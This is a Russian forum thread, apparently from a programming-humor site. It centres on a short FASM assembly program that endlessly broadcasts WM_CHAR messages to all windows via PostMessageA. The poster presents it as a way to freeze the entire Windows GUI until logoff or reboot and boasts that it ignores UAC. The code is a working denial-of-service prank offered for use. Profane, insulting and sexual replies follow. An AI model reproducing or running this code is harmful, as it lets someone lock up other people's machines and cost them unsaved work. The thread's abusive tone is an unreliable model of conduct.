- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
format PE GUI
entry start
section '.text' code readable executable
start:
push 0
push 0
push 0x0102
push 0xffff
call [PostMessageA]
jmp start
push 0
call [ExitProcess]
section '.data' data readable writeable
section '.idata' import data readable writeable
dd 0,0,0,RVA kernel_name,RVA kernel_table
dd 0,0,0,RVA user_name,RVA user_table
dd 0,0,0,0,0
kernel_table:
ExitProcess dd RVA _ExitProcess
dd 0
user_table:
PostMessageA dd RVA _PostMessageA
dd 0
kernel_name db 'KERNEL32.DLL',0
user_name db 'USER32.DLL',0
_ExitProcess dw 0
db 'ExitProcess',0
_PostMessageA dw 0
db 'PostMessageA',0
section '.reloc' fixups data readable discardable ; needed for Win32s
А вот таким нехитрым кодом на FASM'e мы намертво вешаем всю винду до перезагрузки или выхода из системы (по ctrl+alt+del). Ну и, опять-таки, кладем большой и толстый на UAC.
я вот так ненарочно GUI виндов в прошлом вешал, когда кривая рекурсия закрадывалась в обработчик событий.
0x102 это вроде WM_CHAR. но по старой памяти само по себе событие не важно: гуй "висит" потому что очередь событий загружена.
у меня есть знакомый ротвейлер, хочешь, он "лакнет"?
Ну это если он еще школьник. Если голос ломается - это, емнип, уже необратимо, хоть заотрезайся.
"пошлёшь сообщеньице, а?"
Кстати, что за мудачье юзает ascii версии api? Книжек из 90-х начитались, сучечки?
пошли сообщение, чё?
ДваждыВ fix
реквестую директиву #exclude
#mustdie
push 0
call [ExitProcess]
Оптимистичненько.